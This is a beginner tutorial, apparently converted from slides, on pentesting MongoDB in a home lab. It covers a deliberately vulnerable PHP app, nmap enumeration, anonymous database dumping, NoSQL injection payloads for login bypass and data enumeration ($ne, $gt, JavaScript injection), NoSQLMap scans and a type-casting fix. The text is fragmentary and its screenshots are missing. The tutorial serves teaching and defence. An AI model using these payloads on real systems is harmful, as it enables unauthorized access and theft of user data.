MongoDB Pentesting For Absolute Beginners
MongoDB Pentesting For Absolute Beginners
3
Introduction
and
Lab
Setup
• Document Based
• High performance
• High Availability
• Easy Scalability
• No Complex Joins
Note:
4
http://releases.ubuntu.com/12.04/
2) Make sure that you install the SSH server while installing
Ubuntu. This is useful to open multiple shells on the Ubuntu server
from any other machine connected to it.
5
mongo@mongo:~$ echo "deb
http://repo.mongodb.org/apt/ubuntu
"$(lsb_release -sc)"/mongodb-org/3.0
multiverse" | sudo tee
/etc/apt/sources.list.d/mongodb-org-
3.0.list
deb http://repo.mongodb.org/apt/ubuntu
precise/mongodb-org/3.0 multiverse
mongo@mongo:~$
This step may take some time and provides a large output on the
screen, so the output is truncated.
6
Step 4: Install the MongoDB packages.
If you don’t want the latest version, rather if you want a specific
version to be downloaded, skip this step and go to step 5.
7
you want any other specific version of MongoDB, replace this
version with the version of your choice.
mongo@mongo:~$ sudo apt-get install -y
mongodb-org=3.0.4 mongodb-org-server=3.0.4
mongodb-org-shell=3.0.4 mongodb-org-
mongos=3.0.4 mongodb-org-tools=3.0.4
Reading package lists... Done
Building dependency tree
Reading state information... Done
mongodb-org is already the newest version.
.
.
.
.
mongodb-org-tools is already the newest
version.
mongodb-org-tools set to manually
installed.
0 upgraded, 0 newly installed, 0 to remove
and 199 not upgraded.
mongo@mongo:~$
8
hold" | sudo dpkg --set-selections
mongo@mongo:~$ echo "mongodb-org-tools
hold" | sudo dpkg --set-selections
Make sure that “/data/db” is directly under the '/' root directory,
Or run “su” to become super user, and then create the directory
with “mkdir -p /data/db”
This will start the MongoDB instance with the default features.
9
2015-06-18T02:06:33.732+0000 I NETWORK
[initandlisten] waiting for connections on
port 27017
Note: As mentioned earlier, MongoDB by default runs with limited
features. For penetration testing lab purposes, use the following
steps to start the MongoDB instance.
So, once after starting the Mongo instance, log in to the Ubuntu
machine over SSH as shown below:
ssh username@<ipaddress>
10
You now have a shell on the remote machine. Similarly, you can
open up a new terminal and do the same process to open another
shell if you need it.
mongo@mongo:~$ mongo
Note: If you get any error as shown below, please follow the steps
to set the environment variables, and then everything should work
fine.
“Failed global initialization: BadValue
Invalid or no user locale set. Please
ensure LANG and/or LC_* environment
variables are set correctly”.
mongo@mongo:~$ export LC_ALL=C
mongo@mongo:~$ mongo
MongoDB shell version: 3.0.4
connecting to: test
Welcome to the MongoDB shell.
For interactive help, type "help".
For more comprehensive documentation, see
http://docs.mongodb.org/
Questions? Try the support group
http://groups.google.com/group/mongodb-
user
>
11
instances up so that we can run commands on the console in
order to communicate with MongoDB server.
Creating a database:
12
> db
testdb
>
If you notice the above output, it didn’t list the database we just
created.
> db.data.insert({"user":"srinivas"})
WriteResult({ "nInserted" : 1 })
>
13
sample 0.031GB
testdb 0.031GB
>
Querying a document:
> db.data.find()
{ "_id" :
ObjectId("55af609385d8259ee0971685"),
"user" : "srinivas" }
>
> db.data.find()
{ "_id" :
ObjectId("55af63a485d8259ee0971686"),
"user" : "srinivas" }
{ "_id" :
ObjectId("55af63f185d8259ee0971687"),
"user" : "srini0x00" }
>
> db.data.find({"user":"srini0x00"})
{ "_id" :
ObjectId("55af63f185d8259ee0971687"),
"user" : "srini0x00" }
14
>
Deleting Documents:
> db.data.remove({"user":"srini0x00"})
WriteResult({ "nRemoved" : 1 })
>
The above query removes the document where the key “user” has
the value “srini0x00”.
Dropping a collection:
> db.data.drop()
true
>
Dropping a database:
> db.dropDatabase()
{ "dropped" : "testdb", "ok" : 1 }
>
15
MongoDB master, but to give a basic idea of how MongoDB
functions if you are an absolute beginner.
Lab Setup:
Ubuntu Server
KALI LINUX With
MongoDB
16
This setting helps the two machines to communicate with each
other without requiring us to have any additional dependencies.
Get the mongo shell and create a new database called “sample”
by running the following command in the mongo shell.
17
“use sample”
db.users.insert({"username":"tom","password
":"tom","email":"[email protected]","cardnumber
":12345})
>db.users.insert({"username":"tom","passwor
d":"tom","email":"[email protected]","cardnumbe
r":12345})
WriteResult({ "nInserted" : 1 })
>
db.users.insert({"username":"jim","password
":"jim","email":"[email protected]","cardnumber
":54321})
db.users.insert({"username":"bob","password
":"bob","email":"[email protected]","cardnumber
":22222})
Now, run the following three commands to insert data into the
collection “products”.
18
db.products.insert({"email":"[email protected]"
,"prodname":"laptop","price":"1500USD"})
db.products.insert({"email":"[email protected]"
,"prodname":"book","price":"50USD"})
db.products.insert({"email":"[email protected]"
,"prodname":"diamond-
ring","price":"4500USD"})
Step 3: Installing the PHP driver for mongo
19
To move this file to the Ubuntu machine, login to the server using
the command shown below.
Now, move the file mongo.php onto the server as shown below.
Then log in to the remote machine and copy the file to /var/www/
directory as shown below. Use “sudo” if permission is denied.
Now extract all the files on to the machine using “unzip” command
as shown below.
Note: If unzip is not installed, you can type, “sudo apt-get install
unzip” to install it.
20
This step completes the installation of the PHP vulnerable
application.
Now, cross check to see if you have done the setup properly. Just
open up “index.php” and “home.php” files and check if the
following details are matching in your setup. If these details do not
match, consider changing them according to your setup or re-do
the entire setup once again for this web application to work.
Code in index.php
Code in home.php
21
Enter the username & password as “tom” to login to the
application.
If you see the home page as shown below, you are good to
go.
22
23
Vulnerability
Assessment:
Introduction
As we can see in the above figure, port 27017 is open.
24
MongoDB default settings do not need any authentication for
connecting using the client console. If the MongoDB service is
exposed over the network without proper security controls, anyone
can connect to the database remotely and execute commands to
create/read/update/delete the database. We will attempt to do this
in later sections.
Service
enumeration:
Although we figured out the open port 27017, it is possible that
some other service can use this port. It is also possible to run
MongoDB on a different port. To ensure that the port we found is
of MongoDB, we can perform service enumeration using “–sV” flag
with nmap.
As we can see in the above figure, MongoDB is running on the
remote machine. We can also see its version, which is 3.0.3.
25
While we are learning this on the latest version, it is possible that
we will encounter an older version of MongoDB during our
penetration test.
This is definitely good news to an attacker since there are many
default misconfigurations in older versions of MongoDB instances.
26
browser to http://localhost:28017 if mongod is running with the
default port on the local machine.”
It is a good idea to see if the remote host is running with the http
interface.
As we can see in the above figure, port 28017 is open. Just to
confirm that it is the http interface of MongoDB, let us proceed to
scan the target using “-sV” flag.
27
As expected, the above nmap result shows that 28017 is running
MongoDB http console.
“Ensure that the HTTP status interface, the REST API, and the
JSON API are all disabled in production environments to prevent
potential data exposure and vulnerability to attackers.”
Note: mongod versions greater than 2.6 by default run with http-
interface disabled.
http://<ipaddress>:28017
28
We can now navigate further to see more information about the
remote database. Below is an example of “listdatabases”.
We can see all the databases available on the remote MongoDB
host.
29
If the http-interface requires authentication, we need to try brute
forcing on it.
mongodb-‐brute:
As we can see in the above screenshot, mongodb-brute has
performed a test and confirmed that no authentication is needed.
mongodb-‐databases:
30
This NSE script attempts to get a list of tables from a MongoDB
database. This works only if MongoDB interface doesn’t require
authentication.
31
Below is the usage of this script.
32
As we can see in the above figure, we do not require any
authentication in this case.
33
"roles" : [
{
"role" : "readWrite",
"db" : "userdb"
},
{
"role" : "read",
"db" : "sample"
}
]
}
Exploitation:
34
Now, let us see if we can get a shell on the remote machine using
the default mongodb client.
As we can see in the figure above, we are connected and got a
console.
To switch to a specific database on the target machine, we can
use the following command:
> use <database name>
In order to see all the collections from the current database on the
target host, we can run the following command.
35
> show collections
Now, let’s try to query the content from the collection “users”.
> db.users.find()
> db.products.find()
36
The output is below:
> db.products.find()
{ "_id" : ObjectId("5578f8fdc7252158b7a38b12"),
"email" : "[email protected]", "prodname" : "laptop",
"price" : "1500USD" }
{ "_id" : ObjectId("5578f90bc7252158b7a38b13"),
"email" : "[email protected]", "prodname" : "book",
"price" : "50USD" }
{ "_id" : ObjectId("5578f916c7252158b7a38b14"),
"email" : "[email protected]", "prodname" : "diamond-
ring", "price" : "4500USD" }
>
This output shows all the records from the collection “products”.
In the next section, we will see how web applications that use
MongoDB can be exploited.
37
Attacking
Applications:
Introduction
URL: http://<ipaddress>/mongo/index.php
Please note that the above URL is using the default port number
80 rather than 8080 that is shown in the screenshots.
38
We can enter the correct username and password to login. If the
username/password is not correct, the application will throw an
error.
Username: tom
Password: tom
After logging in, this is how the user dashboard looks like.
39
If the username or password is entered incorrectly, the following
error appears.
40
The aim of this demonstration is to bypass this authentication
using Injection.
Authentication Bypass:
Make sure that the browser is configured to send all its traffic
through Burp Proxy since the application is using POST method to
send the credentials.
41
When the login page is opened, enter some test credentials and
intercept the request.
Host: 192.168.1.103:8080
Accept:
text/html,application/xhtml+xml,application/xml;q
=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer:
http://192.168.1.103:8080/mongo/index.php
Cookie: PHPSESSID=2h4dj9s1b8kp7246g0bm06fdl6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
uname=test&upass=test&login=Login
42
As we can see from the above figure, we passed “test” as the
username and password. This has to be modified in a way that
MongoDB allows us to login to the application. Before modifying
these parameters, it is good to understand how MongoDB injection
works.
>
db.users.find({"username":"tom","password":"tom"}
)
{ "_id" : ObjectId("5578f8d2c7252158b7a38b0f"),
"username" : "tom", "password" : "tom", "email" :
"[email protected]", "cardnumber" : 12345 }
>
>
db.users.find({"username":"tom","password":{$ne:"
srini0x00"}})
{ "_id" : ObjectId("5578f8d2c7252158b7a38b0f"),
"username" : "tom", "password" : "tom", "email" :
"[email protected]", "cardnumber" : 12345 }
>
43
Now, modify the command as shown below
>
db.users.find({"username":{$ne:"srini"},"password
":{$ne:"0x00"}})
{ "_id" : ObjectId("5578f8d2c7252158b7a38b0f"),
"username" : "tom", "password" : "tom", "email" :
"[email protected]", "cardnumber" : 12345 }
{ "_id" : ObjectId("5578f8e8c7252158b7a38b10"),
"username" : "jim", "password" : "jim", "email" :
"[email protected]", "cardnumber" : 54321 }
{ "_id" : ObjectId("5578f8f2c7252158b7a38b11"),
"username" : "bob", "password" : "bob", "email" :
"[email protected]", "cardnumber" : 22222 }
>
This time, we are able to see all the documents that do not meet
the condition username and password as “tom.”
44
As we have seen in the previous section, it is possible to pass
conditions such [$ne] in MongoDB queries. What happens if we
pass something that is not known to MongoDB?
>db.users.find({username:{$nt:'test'}},{pas
sword:{$nt:'test'}}).count()
2015-07-22T03:45:35.146+0000 E QUERY
Error: count failed: { "ok" : 0, "errmsg" :
"unknown operator: $nt", "code" : 2 }
at Error (<anonymous>)
at DBQuery.count
(src/mongo/shell/query.js:326:11)
at (shell):1:64 at
src/mongo/shell/query.js:326
>
As we can see in the above output, we broke the query and getting
an error saying “unknown operator: $nt”.
Let’s try this from our PHP application. If exceptions are not
handled properly and thrown to the users, similar to SQL Injection
in MySQL databases we can see Mongo DB’s existence and
gather other crucial information.
Host: 192.168.56.123
45
User-Agent: Mozilla/5.0 (Macintosh; Intel
Mac OS X 10.9; rv:39.0) Gecko/20100101
Firefox/39.0
Accept:
text/html,application/xhtml+xml,application
/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer:
http://192.168.56.123/mongo/index.php
Cookie:
PHPSESSID=jvgcf2cg8sesvi8nff6d5t5682
Connection: keep-alive
Content-Type: application/x-www-form-
urlencoded
Content-Length: 33
uname[$nt]=test&upass[$nt]=test&login=Login
46
In this case, if errors are properly handled by the application we
may have to try for blind injection techniques.
Bypassing Authentication:
Host: 192.168.1.103:8080
Accept:
text/html,application/xhtml+xml,application/xml;q
=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer:
http://192.168.1.103:8080/mongo/index.php
47
Cookie: PHPSESSID=2h4dj9s1b8kp7246g0bm06fdl6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Uname[$ne]=test&upass[$ne]=test&login=Login
The above objects that are passed will create a condition where
the database will look for the documents that don’t have the
username and password “test”.
48
Below is the vulnerable piece of code used in the application
shown above.
$cursor = $collection->find(array(
"username" => $_POST['uname'],
"password" => $_POST['upass']
));
if($cursor->count() > 0)
{
$_SESSION['user_loggedin']=$_POST['uname'];
header("Location:home.php");
}
else
{
49
$value = "Invalid username or password";
}
$conn->close();
The data we passed has been sent to the database and the
following query has been executed which allowed us to login.
>
db.users.find({username:{$ne:'test'}},{password:{
$ne:'test'}}).count()
3
>
The sample application has a feature, where we can search for the
purchases the user has made. First the user has to login to the
application and then he can enter his email id to see his purchase
details.
50
Enumerating the data:
When a user enters his email id, the URL becomes as shown
below.
http://192.168.1.103:8080/mongo/home.php?search=t
[email protected]&Search=Search
The above query shows the output associated with the email id
entered as shown below.
This is expected.
http://192.168.1.103:8080/mongo/home.php?search[$
nk]=test&Search=Search
51
It is possible that MongoDB executes the queries we pass since it
is executing the operator that we passed in the URL and breaking
the query.
http://192.168.1.103:8080/mongo/home.php?search[$
ne]=test&Search=Search
52
If you notice, all the three documents have been retrieved.
However, due to the application functionality it is displaying details
associated with only one account.
http://192.168.1.103:8080/mongo/home.php?search[$
ne][email protected]&Search=Search
53
Great, we got the details of all the three documents. This example
is shown to demonstrate the possibility of severe injection attacks
on MongoDB based applications.
$email = $obj['email'];
$productname =
$obj['prodname'];
$price = $obj['price'];
}
54
How to fix this?
The root cause behind this issue is lack of proper input validation
on the type of data coming in from the user. Ensure that the user
input is strictly validated before it is processed.
Vulnerable Code:
$cursor = $collection->find(array(
"username" => $_POST['uname'],
"password" => $_POST['upass']
));
if($cursor->count() > 0)
{
$_SESSION['user_loggedin']=$_POST['uname'];
header("Location:home.php");
}
else
{
$value = "Invalid username or password";
}
$conn->close();
The following code ensures that the variables are properly typed
before they are passed into the MongoDB driver.
$cursor = $collection->find(array(
"username" =>
(string)$_POST['uname'],
"password" =>
(string)$_POST['upass']
));
if($cursor->count() > 0)
{
$_SESSION['user_loggedin']=$_POST['uname'];
header("Location:home.php");
}
else
55
{
$value = "Invalid username or password";
}
$conn->close();
http://localhost:8000/
When we enter a specific email id into the text box, it shows the
document associated with the email id entered.
http://localhost:8000/products/[email protected]
om
56
We can now search for the other records other than those
associated with [email protected] using the URL shown below.
http://localhost:8000/products/?email[$ne]=tom@gm
ail.com
Vulnerable Code:
57
Following is the vulnerable piece of code used in the target
application.
});
58
Automated
Assessments:
We are going to use a very nice tool called NoSQLMap for this
part.
https://github.com/tcstool/nosqlmap
59
Introducing
NoSQLMap:
Features
Source: http://www.nosqlmap.net
60
Using NoSQLMap:
Once after done with the installation, run the following command.
$ NoSQLMap
61
As shown in the above figure, we can set up various options.
Let’s set all the options that are applicable for us.
The first option is to specify the target IP address.
Once done, we can set up the port for the web application we are
scanning. At the time of this writing, I am using port 8080.
62
Nevertheless, in case if you are using the application you are
running on port 80, no changes are required.
Select an option: 2
Enter the HTTP port for web apps: 8080
As of now, we are not going to set any other options. Let’s now
jump into the next option “2-NoSQL DB Access Attacks”.
63
http://192.168.1.103:28017. No
authentication required!
Start tests for REST Interface (y/n)? y
REST interface enabled!
List of databases from REST API:
1-local
2-mydb
3-sample
1-Get Server Version and Platform
2-Enumerate Databases/Collections/Users
3-Check for GridFS
4-Clone a Database
5-Launch Metasploit Exploit for Mongo <
2.2.4
6-Return to Main Menu
Select an attack:
As we can notice from the above output, NoSQLMap has found
that there is no authentication required accessing the MongoDB
over the network; even the HTTP interface is enabled with no
authentication.
Select an attack: 1
Server Info:
MongoDB Version: 3.0.3
Debugs enabled : False
Platform: 64 bit
Above is the output from option 1. You may see a different output
in your case.
64
Let’s now choose option 2 for enumerating database, collection
and users.
Select an attack: 2
List of databases:
local
mydb
sample
List of collections:
local:
system.indexes
startup_log
fs.chunks
fs.files
mydb:
system.indexes
products
fs.chunks
fs.files
sample:
system.indexes
users
products
fs.chunks
fs.files
Great! As we can see in the output above, we are able to dump all
the databases and collections from the remote server.
65
Scanning
for
Anonymous
MongoDB
access:
1-Set options
2-NoSQL DB Access Attacks
3-NoSQL Web App attacks
4-Scan for Anonymous MongoDB Access
5-Change Platform (Current: MongoDB)
x-Exit
Select an option: 4
66
Save scan results to CSV? (y/n):y
Enter file name to save: mongoassessment
Scan results saved!
Discovered MongoDB Servers with No Auth:
IP Version
1-192.168.1.103 3.0.3
Now, enter the whole subnet range and observe the output.
67
Couldn't connect to 192.168.1.10.
Couldn't connect to 192.168.1.11.
Couldn't connect to 192.168.1.12.
Couldn't connect to 192.168.1.13.
Couldn't connect to 192.168.1.14.
Couldn't connect to 192.168.1.15.
.
.
.
.
.
Couldn't connect to 192.168.1.100.
Couldn't connect to 192.168.1.101.
Couldn't connect to 192.168.1.102.
Successful default access on
192.168.1.103(MongoDB Version: 3.0.3).
Couldn't connect to 192.168.1.104.
Couldn't connect to 192.168.1.105.
Couldn't connect to 192.168.1.106.
.
.
.
.
Couldn't connect to 192.168.1.252.
Couldn't connect to 192.168.1.253.
Couldn't connect to 192.168.1.254.
68
IP Address,MongoDB Version
192.168.1.103,3.0.3
srini's MacBook:~ srini0x00$
1-Set options
2-NoSQL DB Access Attacks
3-NoSQL Web App attacks
4-Scan for Anonymous MongoDB Access
5-Change Platform (Current: MongoDB)
x-Exit
Select an option: 3
Options not set! Check host and URI path.
Press enter to continue...
Since we didn’t set the path for the web application, it is showing a
message that we didn’t set the URI path.
So, let us first go to option “1-Set options” and then set the URI
path as shown below.
1-Set options
2-NoSQL DB Access Attacks
3-NoSQL Web App attacks
4-Scan for Anonymous MongoDB Access
69
5-Change Platform (Current: MongoDB)
x-Exit
Select an option: 1
Options
1-Set target host/IP (Current:
192.168.56.101)
2-Set web app port (Current: 80)
3-Set App Path (Current: Not Set)
4-Toggle HTTPS (Current: OFF)
5-Set MongoDB Port (Current : 27017)
6-Set HTTP Request Method (GET/POST)
(Current: GET)
7-Set my local MongoDB/Shell IP (Current:
Not Set)
8-Set shell listener port (Current: Not
Set)
9-Toggle Verbose Mode: (Current: OFF)
0-Load options file
a-Load options from saved Burp request
b-Save options file
x-Back to main menu
Select an option: 3
Enter URI Path (Press enter for no
URI):/mongo/home.php?search=hi&Search=Searc
h
^
URI Path set to
/mongo/home.php?search=hi&Search=Search
Select an option: 6
70
1-Send request as a GET
2-Send request as a POST
Select an option: 1
GET request set
Enter HTTP Request Header data in a comma
separated list (i.e. header name
1,value1,header name 2,value2)
1-Set options
2-NoSQL DB Access Attacks
3-NoSQL Web App attacks
4-Scan for Anonymous MongoDB Access
5-Change Platform (Current: MongoDB)
x-Exit
Select an option: 3
Web App Attacks (GET)
===============
Checking to see if site at
192.168.1.103:8080/mongo/home.php?search=hi
&Search=Search is up...
App is up!
Baseline test-Enter random string size: 5
71
3-Numbers only
4-Email address
Select an option: 1
Using LfOan for injection testing.
List of parameters:
1-search
2-Search
Which parameter should we inject? 1
Injecting the search parameter...
URI :
http://192.168.1.103:8080/mongo/home.php?se
arch=LfOan&Search=Search
Sending random parameter value...
Got response length of 955.
No change in response size injecting a
random parameter..
72
(single record)
Injection returned a MongoDB Error.
Injection may be possible.
Vulnerable URLs:
http://192.168.1.103:8080/mongo/home.php?se
arch[$ne]=LfOan&Search=Search
http://192.168.1.103:8080/mongo/home.php?se
arch[$gt]=&Search=Search
73
arch=a'; return db.a.findOne(); var
dummy='!&Search=Search
http://192.168.1.103:8080/mongo/home.php?se
arch=a'; return this.a != 'LfOan'; var
dummy='!&Search=Search
http://192.168.1.103:8080/mongo/home.php?se
arch[$ne]=LfOan&Search=Search
http://192.168.1.103:8080/mongo/home.php?se
arch[$gt]=&Search=Search
Conclusion:
74